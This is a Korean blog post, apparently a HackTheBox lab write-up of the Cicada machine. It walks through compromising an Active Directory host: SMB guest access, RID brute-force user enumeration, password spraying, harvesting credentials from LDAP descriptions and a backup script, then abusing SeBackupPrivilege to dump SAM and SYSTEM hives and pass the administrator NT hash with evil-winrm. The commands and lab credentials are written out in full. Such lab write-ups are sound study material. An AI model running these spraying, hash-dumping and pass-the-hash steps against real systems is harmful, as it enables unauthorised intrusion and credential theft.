오늘은 Windows에서 사용자 계정 정보를 획득했을 때
사용하는 정보수집과 초기침투 방법론에 대해서 다룹니다.
실습을 통해서 학습을 하는데, 실습에 사용한 머신은
HackTheBox의 Cicada 머신이며
이 머신에서는 다음과 같은 실습 환경이 주어집니다.
1. SMB,LDAP을 통한 정보수집 및 초기침투
2. NT Hash 추출 및 사용자 계정 enum 공격 & 스프레잉 공격
nmap --open -p- -Pn --max-retries 1 --min-rate 4000 10.10.11.35 > allPorts
전체 포트는 다양하게 나왔는데, LDAP 서비스가 활성화 되어있고
SMB 역시 활성화 되어있다는 것을 알 수 있습니다.
nxc 도구를 통해서 NULL 세션 로그인에는 성공했지만
쉐어 목록을 확인하는데는 권한이 모자라서 확인하지 못했습니다.
nxc smb 10.10.11.35 -u '' -p ''
NULL 세션을 통한 쉐어 정보수집은 비록 불가능했지만
보통의 Guest 계정은 초기 패스워드가 설정되어 있지 않기 때문에
Guest 계정으로도 로그인 및 쉐어 정보수집을 시도해줍니다.
nxc smb 10.10.11.35 -u 'Guest' -p ''
그리고 Guest 계정으로는 HR과 IPC$에 Read 권한이 있는 것이 확인됩니다.
smbclient말고 실무에서도 많이 사용한다는 impacket-smbclient를 사용해봅니다.
이 도구를 사용하면 장점이 세션이 끊기지 않고도 다른 쉐어로 이동이 가능합니다.
nxc 명령 결과에서도 볼 수 있듯이 현재 cicada.htb라는 도메인 하위에서
Guest 계정으로 로그인이 성공했습니다.
따라서 impacket-smbclient에서는 도메인\계정:패스워드@ip주소 와 같은
포맷으로 입력하여 smb에 접속할 수 있습니다.
impacket-smbclient cicada.htb\Guest:''@10.10.11.35
get을 통해서 공지사항 정보를 가져와서 읽어주면
사용자들에 대해서 초기 패스워드 정보를 알려주는 공지사항이 확인됩니다.
초기패스워드는 Cicada$M6Corpb*@Lp#nZp!8 이라는 것이 확인됩니다.
패스워드를 알았지만 어떤 유저의 계정인지는 확인하지 못했으니
유저 enum 공격을 통해서 계정 리스트를 가져오고
가져온 계정들에 대해서 패스워드 스프레잉 공격을 해줘야 합니다.
nxc에서는 --rid-brute라는 enum 공격 모듈을 제공합니다.
최신 버전의 Windows에서는 방화벽이나 공격탐지 장비에 의해서
탐지되기 때문에 실제로 사용이 되지는 않지만, 오래된 버전이나
보안에 취약할 경우 이 모듈을 사용해서 유저 계정 목록을 리스트업 할 수 있습니다.
nxc smb 10.10.11.35 -u Guest -p '' --rid-brute > user.txt
우선 계정목록을 전부 가져와서 user.txt로 저장한다음 필요한 계정만
정규표현식을 사용하여 목록화 해줍니다.
우리가 알아야하는 사용자 계정은 사용자가 생성한 계정입니다.
예를 들어 리눅스에서 /bin/bash 와 같이 쉘이 존재하는 계정만 사용자 계정이죠
이런 것을 구분하는 타입이 SidTypeUser입니다.
cat user.txt | grep SidTypeUser | cut -d '\' -f 2 | awk '{print $1}' > users.txt
SidTypeUser 계정만 가져온 뒤에 딱 필요한 글자만 잘라서 다시 users.txt로 저장해줍니다.
이제 패스워드 스프레잉 공격을 위한 유저 계정 리스트업이 끝났습니다.
스프레잉 공격 역시 nxc 도구 안에서 --continue-on-success 모듈로 가능합니다.
여기서 스프레잉 공격을 하는 서비스는 딱히 구분할 필요가 없습니다.
왜냐하면 SMB 서비스나 LDAP이나 Winrm이나 전부 동일한
Windows OS의 사용자 계정이기 때문이죠
차이점이 있다면 해당 계정이 서비스에 등록이 되었냐 안 되었냐의 차이입니다.
그렇기 때문에 SMB, LDAP, Winrm 모두 테스트를 해봅니다.
테스트 결과 LDAP과 SMB에서 michael.wrightson 계정에 로그인이 성공하네요
결국 michael.wrightson 계정이 디폴트 계정인 것으로 추정됩니다.
그렇다면 사용자 계정을 이렇게 알게 되었으니
LDAP에 대한 정보수집과 다시 SMB에 대한 정보수집을 해줘야 겠죠
SMB에서 새로운 계정을 알아낼 때마다
기존에 알고있던 사용자 계정과의 차이점이 무엇인지,
어떤 쉐어에 접근이 가능하고 어떤 권한이 다른지를 확인해주고
LDAP에서는 유저 정보 등이나 네트워크에 대해서 정보수집이 가능합니다.
SMB 정보수집은 보통 --shares 플래그를 사용하여
접근 가능한 쉐어를 확인합니다.
nxc smb 10.10.11.35 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares
이번에는 아까 전 계정과는 다르게 NETLOGON과 SYSVOL 쉐어에도
READ 권한이 존재한다는 것이 확인됩니다.
LDAP에 대한 정보수집으로는 다양한 모듈이 존재합니다.
실무에서 자주 사용되는 모듈은 아래와 같다고 합니다.
get-userPassword
get-unixUserPassword
enum_av
groupmembership
gpp_password
laps
daclread
ldap-checker
get-desc-users
다른 모듈에서는 별다른 정보는 획득되지 않았지만
get-desc-users 모듈에서 david 계정에 대한 정보가 수집됩니다.
이 모듈은 Active Directory에서 사용자 계정 필드에 대한 설명을 확인할 수 있습니다.
get-desc-users에서 desc는 Description입니다.
david.orelious:aRt$Lp#7t*VQ!3
이렇게 정보를 알아냈으니 또다시 michael 계정을 알아냈을 때와 마찬가지로
SMB에 대한 정보수집을 해줘야겠죠
nxc smb 10.10.11.35 -u david.orelious -p 'aRt$Lp#7t*VQ!3' --shares
nxc winrm 10.10.11.35 -u david.orelious -p 'aRt$Lp#7t*VQ!3'
아쉽게도 winrm은 접속이 불가능했지만 SMB에서는 DEV 디렉토리에 대해서
READ 권한이 추가적으로 존재하는 계정인것이 확인되었습니다.
SMB에 접속하여 Backup 스크립트를 가져온 뒤에 확인해주면 emily 계정이 확인됩니다.
impacket-smbclient cicada.htb/david.orelious:'aRt$Lp#7t*VQ!3'@10.10.11.35
이 계정에 대해서도 winrm과 SMB를 확인해줍니다.
nxc winrm 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
nxc smb 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' --shares
emily 계정은 winrm 접속이 가능하며 ADMIN$와 C$ 쉐어에 대해서도
접근 권한이 있는 것이 확인됩니다.
ADMIN$ 쉐어에 접속해서 파일 리스트를 확인하니 시스템 하위 어떤 디렉토리인 것 같은데
여기서는 딱히 수집할 정보가 존재하진 않습니다.
C$ 디렉토리는 아마도 C드라이브로 확인되는 쉐어로 보입니다.
만약 이 쉐어가 웹 서비스나 다른 곳에 공유가 되어서 실행 권한이 존재한다면
Write 권한이 있기 때문에 리버스쉘을 올린다음
그것을 실행해서 리버스쉘 획득이 가능하겠지만,
다른 서비스에서 쉐어를 공유하고 있지 않기 때문에 여기서도 마찬가지로
별다른 정보는 없습니다.
어차피 winrm 접속이 가능하기 때문에 이 쉐어를 통해서 정보를 보는 것과
winrm에서 보는 것과 차이가 없으니 winrm으로 접속하는 것이 더 현명하겠죠
evil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
리눅스에서 초기침투에 성공하면 가장 먼저 해봐야하는 것이
sudo 명령 리스트인 것처럼 Windows에서 초기침투에 성공하면
whoami /priv를 통해서 사용가능한 권한 목록을 확인하는 것이 중요합니다.
권한을 확인해보니 SeBackupPrivilege 권한이 있는 것이 확인되네요
이 권한은 상당히 위험한 권한입니다.
왜 위험하냐면 백업을 위해서는 모든 파일에 접근이 가능합니다.
하지만 Windows에서는 NT 해쉬 값을 알고있다면 사실상 패스워드를 아는 것과
동일한 기능을 수행합니다.
NT해쉬가 저장된 파일은 SAM 파일이고, 이것을 복호화 할 때
필요한 정보들은 SYSTEM 파일에 존재합니다.
즉 모든 파일에 접근이 가능하다면
SAM 파일로부터 NT해쉬값을 가져와서 그것을 SYSTEM 파일의 데이터로
복호화가 가능하며 결과적으로 사용자 NT해쉬값을 덤핑시켜 이것으로
권한 상승이 가능한 것이죠
먼저 C드라이브 하위의 Temp 디렉토리로 이동해줍니다.
이곳에서 SAM파일과 SYSTEM 파일을 가져와줍니다.
cmd나 파워쉘에서 레지스트리 파일을 전송하는 명령어는 reg save입니다.
이것을 사용해서 C:\Temp\sam과 C:\Temp\system으로 복사해줍니다.
그런 다음 winrm의 download 명령을 통해서 로컬로 해당 파일을 전송해줍니다.
참고로 system 파일은 용량이 커서 다운로드 하는데 시간이 조금 소요됩니다.
약 10분정도?
이제 로컬의 파일리스트를 확인하면 sam과 system 파일이 확인될거예요
이 파일을 가지고 impacket-secretsdump를 통해서
NT해쉬 정보를 추출해봅니다.
명령어는 아래와 같이 -sam으로 sam파일을, -system으로 system 파일을 지정합니다.
impacket-secretsdump -sam sam -system system LOCAL
덤핑된 값중 가장 마지막 값이 NT 해쉬입니다.
administrator 계정의 NT 해쉬는 2b87e7c93a3e8a0ea4a581937016f341 이죠
NT해쉬를 지정하는 플래그 -H를 이용해서 evil-winrm으로 접속해줍니다.
evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341
접속에 성공하면 루트 플래그를 읽는 것이 가능합니다.
액티브 디렉토리는 아직 배운지 얼마 안 되어서 생소한 개념들이 많았는데,
앞으로도 반복해서 많이 풀어보고 배워야 할 것 같습니다.
[HackTheBox] Active (0) | 2024.10.29 |
---|---|
[HackTheBox] Sauna (1) | 2024.10.29 |
[HackTheBox] Return (2) | 2024.10.17 |
[HackTheBox] Sightless (0) | 2024.10.16 |
[HackTheBox] Timelapse (3) | 2024.10.15 |